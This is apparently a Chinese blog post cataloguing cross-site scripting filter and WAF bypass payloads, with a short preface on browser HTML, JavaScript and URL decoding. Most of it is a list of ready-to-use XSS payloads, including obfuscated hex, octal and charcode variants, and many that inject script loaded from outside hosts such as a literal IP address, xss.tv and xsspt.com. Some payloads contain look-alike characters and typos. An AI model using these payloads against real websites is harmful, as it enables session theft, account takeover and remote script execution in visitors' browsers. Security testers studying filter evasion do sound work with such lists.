XSS绕过技巧

　1、首先是弹窗函数：

1. alert(1)
2. prompt(1)
3. confirm(1)
   eval(）

　　2、然后是字符的编码和浏览器的解析机制：

　　　　要讲编码绕过，首先我们要理解浏览器的解析过程，浏览器在解析HTML文档时无论按照什么顺序，主要有三个过程：HTML解析、JS解析和URL解析，每个解析器负责HTML文档中各自对应部分的解析工作。

　　　　首先浏览器接收到一个HTML文档时，会触发HTML解析器对HTML文档进行词法解析，这一过程完成HTML解码并创建DOM树，接下来JavaScript解析器会介入对内联脚本进行解析，这一过程完成JS的解码工作，如果浏览器遇到需要URL的上下文环境，这时URL解析器也会介入完成URL的解码工作，URL解析器的解码顺序会根据URL所在位置不同，可能在JavaScript解析器之前或之后解析。

　　　　三个解析过程所对应的字符编码分别为：HTML解析 => HTML实体编码 、JS解析 => Unicode编码 、URL解析 =>URL编码。

需要注意的是：

1. 1、Unicode编码无法转换控制字符如【'】【"】【()】，仅仅会将这些当成普通字符，而不是控制字符，也就是说你无法在<script>标签中利用Unicode编码单双引号来闭合引号。
   2、JavaScript伪协议除了HTML编码之外不能进行其他编码，这个单词必须是完整的，因为浏览器最先解析HTML，之后javascript必须是完整的。这个在ie6下才执行的。

　　3、下面我们用实际例子来解释一下以上所说的浏览器解析过程和字符编码是怎么回事，以及今天的重点---XSS绕过。

....暂定

hidden属性标签

1. 插入点在hidden前，新增一个type属性覆盖hidden：
2. <input value='a' src=1 οnerrοr=alert(1) type="image" type="hidden">
    
3. 插入点在hidden后，shift+alt+accesskey：
4. <input value='a' type="hidden" accesskey="x" οnclick=alert(1)>

弹窗验证：

1、弹窗payload

1. <a href=javascript:alert`1`>click
2. <button ‘ οnclick=alert(1)//>
3. <button οnfοcus=alert`122`>
4. <object data=javascript:alert`1`>
5. <body/οnfοcus=alert`9989`>
6. <input antofocus οnfοcus=alert`1`>
7. <svg><script xlink:href=data:,alert(1) />
8. <iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
9. <svg/οnlοad=alert(1)>
10. <x contenteditable οnblur=alert(1)>lose focus!
11. <i contenteditable οnblur=alert(1)>lose focus!//contenteditable：使可编辑
12. <x οncοntextmenu=alert(1)>right click this!
13. <c οncοntextmenu=alert(1)>鼠标右键点击
14. <iframe src="&Tab;javascript:prompt(1)&Tab;">
15. <ScRipT 1>prompt(1)</ScRipT 123
16. <input/οnfοcus=ev\u0061l(\u0061lert(1))>
17. <input antofocus οnfοcus=\u0061lert(1)>
18. <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
19. <details οntοggle=alert(1)>
    <details open ontoggle =alert(1)>　　#payload的=号前加空格即可绕过waf
20. <Video><source οnerrοr="javascript:alert(123)">
21. <iframe/src='data:text/html,<svg οnlοad=alert(1)>'>
22. [media=mp3,200,300]http://www.tudou.com/programs/view/a' οnlοad=alert(1) οnerrοr=alert(1)[/media]
23. <img/src=1 οnmοuseοut=alert`1`>
24. <a href="#" οnclick=alert(‘\170\163\163’)>test3</a> //可以成功执行
25. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
26. <img src="x" οnerrοr="alert(1)">
27. <form><button formaction=javascript&colon;alert(1)>CLICKME
28. <img src="1" οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>//必须要有双引号，不然执行不了
29. <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2//不能去掉双引号
30. <a href=javascript:eval("alert('xss')")>2 //可以去掉双引号
31. <a href="javascript:alert("xss")">2</a>
32. <a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>XSStest</a>
33. <img src=9989 οnerrοr="window['al\u0065rt'](111)">
34. <IMG SRC=x οnerrοr="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
35. <img src=9989 οnerrοr=a=\u0061lert,a(1)><input/οninput=top['al\x65rt'](1)>
36. <img src=9989 οnerrοr=[1].find(alert)>
37. <img src=x:alert(alt) οnerrοr=eval(src) alt=0>
38. //以下都是要把[]进行url编码
39. <img src=9989 οnerrοr=top%5B%2fal%2f.source%2b%2fert%2f.source%5D%281%29> 　　//<img src=9989 οnerrοr=top[/al/.source+/ert/.source](1)>
40. <img src=9989 οnerrοr=top%5B%22al%22%2b%22ert%22%5D%281%29> 　　　　　　　　　　//<img src=9989 οnerrοr=top["al"+"ert"](1)>
41. <img src=9989 οnerrοr=top%5B%27al%5C145rt%27%5D%281%29>　　　　　　　　　　　　　　 //<img src=9989 οnerrοr=top['al\145rt'](1)>
42. <img src=9989 οnerrοr=top%5B'al\x65rt'%5D(1)>　　　　　　　　　　　　　　　　　　　　//<img src=9989 οnerrοr=top['al\x65rt'](1)>
43. <img/src=1 οnerrοr=top[8680439..toString`30`]`1`>
44. <img/src=1 οnerrοr=top[8680439..toString`30`]`1`>
45. <img/src=1 onError="&#x61lert(1)">　　　　//使用时有时需要吧&#X进行URL编码
46. <img/src=1 onError=top[/al/.source+/ert/.source](1)>
47. <img/src='a'οnerrοr=[1].find(alert)>
48. <img/src='2'οnerrοr=top[8680439..toString(30)](1)>
49. <a/href=javascript&colon;alert&grave;1&grave;>123</ a>
50. <img/src='2'οnerrοr=top[/al/.source+/ert/.source](1)><p/οncοpy=alert(1)>
51. <body οnhashchange=alert(1)><a href=#x>click this!#x
52. <body style=overflow:auto;height:1000px οnscrοll=alert(1) id=x>#x
53. <body οnresize=alert(1)>press F12!
54. <body οnpageshοw=alert(1)>
55. <body οnfοcus=alert(1)>
56. <marquee onstart=alert(1)>
57. <marquee loop=1 width=0 onfinish=alert(1)>
58. <audio src οnlοadstart=alert(1)>
59. <video οnlοadstart=alert(1)><source>
60. <input autofocus οnblur=alert(2)>
61. <keygen autofocus οnfοcus=alert(3)>
62. <form οnsubmit=alert(4)><input type=submit>
63. <select οnchange=alert(5)><option>1<option>2
64. <menu id=x contextmenu=x οnshοw=alert(6)>right click me!
    <meta content="0;https://www.baidu.com"HTTP-EQUIV="refresh""/>
    <meta content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlhTUyIpPC9zY3JpcHQ+"HTTP-EQUIV="refresh""/>
65. <svg><animate xlink:href=#xss attributeName=href values="&#01;&#02;&#03;&#04;&#05;&#06;&#07;&#08;
66. &#11;&#12;
67. &#14;&#15;&#16;&#17;&#18;&#19;&#20;&#21;&#22;&#23;&#24;&#25;&#26;&#27;&#28;&#29;&#30;&#31; javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
68. <svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
    <svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
    <svg><animate xlink:href=#xss attributeName=href values="&#11;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
     
69. <div οnscrοll=alert`1`>
70. <a href=javascript:confirm(1)>MM</a>
71. <video width="1" height="1" οncanplay="alert(1)"><source src="http://dwz1.cc/Pwnx5b4F"></video>

2、引入外部js，需要有jQuery库

1. <html>
2. <head>
3. <script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></script>
4. </head>
5. <body>
7. <img/src=1 οnerrοr=$.getScript("http://118.24.154.114/1.js");>
9. 绕waf：
10. <img/src=1 οnerrοr=jQuery[atob('Z2V0U2NyaXB0')]("http://118.24.154.114/1.js")>
11. 16进制
    <img/src=1 οnerrοr=eval("\x24\x2E\x67\x65\x74\x53\x63\x72\x69\x70\x74\x28\x22\x68\x74\x74\x70\x3A\x2F\x2F\x31\x31\x38\x2E\x32\x34\x2E\x31\x35\x34\x2E\x31\x31\x34\x2F\x31\x2E\x6A\x73\x22\x29\x3B")>
12. ascii码
    <img/src=1 οnerrοr="eval(String.fromCharCode(36, 46, 103, 101, 116, 83, 99, 114, 105, 112, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 49, 49, 56, 46, 50, 52, 46, 49, 53, 52, 46, 49, 49, 52, 47, 49, 46, 106, 115, 34, 41, 59))">
14. </body>
15. </html>

3、Unicode编码绕过例子

1. <html>
2. <head>
3. </head>
4. <body>
6. <div id="s"></div>
8. <script>
9. var s="\u003cimg/src=1\u003e"; document.getElementById('s').innerHTML = s;
10. </script>
12. </body>
13. </html>

以上代码由于使用了innerHTML 方法，可以使用Unicode表面皿绕过检测。

4、利用巧用换行绕过url规则检测：

1. <?php
2. $url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
3. var_dump($url);
4. $url = htmlspecialchars($url);
5. var_dump($url);
6. echo "<a href='$url'>Next slide</a>"
7. ?>

    　　　　　　

利用代码：

1. <img/src=1 οnmοuseοver=s=createElement('\163\143\162\151\160\164');body.appendChild(s);s.src="//xss.tv">
   <img src=1 οnerrοr="with(document)body.appendChild(createElement(String.fromCharCode(115,99,114,105,112,116))).src='\150\164\164\160\72\'"> JS 8进制

下面是一位大佬的文章，这里直接引用了，有空再整理。

1. https://bbs.ichunqiu.com/thread-31886-1-1.html

1. 这里的连接字符，我研究出来一些payload，能够script,document等危险字符过滤的情况下，不需要在任何编码的情况下，去构造一个payload
3. 当document被过滤的情况下，又不能用编码
4. +被过滤，又不能编码
5. <svg/οnlοad="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">
7. <svg/οnlοad="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">
9. <svg/οnlοad="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">
11. <svg/οnlοad="[1].find(function(){with(`docom'+e+'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">
13. <svg/οnlοad="[1].find(function(){with(`docom'-e-'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">
15. <svg/οnlοad="[1].find(function(){with(`docom'*e*'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">
16. 
    <svg/οnlοad="[1].find(function(){with(`docom'/e/'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">
18. <svg/οnlοad="[1].find(function(){with(`docom'%e%'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">
20. <svg/οnlοad="[1].find(function(){with(`docom'^e^'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">
22. <svg/οnlοad="[1].find(function(){with(`docom'>e>'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">
24. <svg/οnlοad="[1].find(function(){with(`docom'<e<'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">
26. <script type="text/javascript">
27. 　　var a = ''>=alert``<='';
28. 　　var a = ''+alert``+'';
29. </script>
31. <keygen autofocus οnfοcus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">支持火狐 360, 谷歌失败,过主机卫士
33. 就是下面这些连接符号
35. 输出在script内字符串位置的情况
36. 如果允许闭合字符串，直接闭合并写入javascript即可，如:
37. http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27
38. http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|'
39. http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27
40. http://t.mhz.pw/game/xss/scriptstr.php?xss='+alert(1)+'
41. http://t.mhz.pw/game/xss/scriptstr.php?xss='-alert(1)-'
42. http://t.mhz.pw/game/xss/scriptstr.php?xss='*alert(1)*'
43. http://t.mhz.pw/game/xss/scriptstr.php?xss='/alert(1)/'
44. http://t.mhz.pw/game/xss/scriptstr.php?xss='%alert(1)%'
45. http://t.mhz.pw/game/xss/scriptstr.php?xss='^alert(1)^'
46. http://t.mhz.pw/game/xss/scriptstr.php?xss='>alert(1)>'
47. http://t.mhz.pw/game/xss/scriptstr.php?xss='<alert(1)<'
48. http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)>='
49. http://t.mhz.pw/game/xss/scriptstr.php?xss='<=alert(1)<='
50. http://t.mhz.pw/game/xss/scriptstr.php?xss='==alert(1)=='
51. http://t.mhz.pw/game/xss/scriptstr.php?xss='===alert(1)==='
52. http://t.mhz.pw/game/xss/scriptstr.php?xss='!=alert(1)!='
53. http://t.mhz.pw/game/xss/scriptstr.php?xss='!==alert(1)!=='
54. http://t.mhz.pw/game/xss/scriptstr.php?xss='%26alert(1)%26'
55. http://t.mhz.pw/game/xss/scriptstr.php?xss='&alert(1)&'
56. http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|'
57. http://t.mhz.pw/game/xss/scriptstr.php?xss='||alert(1)||'
58. http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)<='
60. <svg/οnlοad="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">
62. <svg/οnlοad=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
64. <svg/οnlοad=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
66. <svg/οnlοad=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
68. <svg/οnlοad=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
70. /字符/.1+/字符/.1
71. 字符加上字符
72. //.1 + //.1 这些只是连接字符的方式而已 ，总结起来就是 document而已
74. <svg/οnlοad=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
75. / 换成 \ 也可以
77. <svg/οnlοad=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
78. 不要加号也可以
80. <svg/οnlοad=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
81. /换成=号也可以
83. <svg/οnlοad=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
84. 不要加号也可以
86. <svg/οnlοad=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
87. /换成^号也可以
89. <svg/οnlοad=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
91. <svg/οnlοad=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
92. /换成|号也可以
94. <svg/οnlοad=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
96. <svg/οnlοad=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
97. /换成&号也可以
98. <svg/οnlοad=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
100. <svg/οnlοad=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
101. /换成%26也行
103. <svg/οnlοad=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
104. 不要引号也行
106. Body加上括号也行
107. <svg/οnlοad=[1].find(function(){with(`docomen`);(body.appendChild(createElement('script'))).src='http://xss.tv/XA'})>
109. <body/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98,46,99,111,109,47,48,71,73,103,62,60,47,115,99,114,105,112,116,62))>
111. <svg/οnlοad=[1].find(function(){with('docu'==='ment');body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

1. 笨鸟先飞早入林，笨人勤学早成材。
3. 转载请注明出处：
4. 撰写人：fox-yu http://www.cnblogs.com/fox-yu/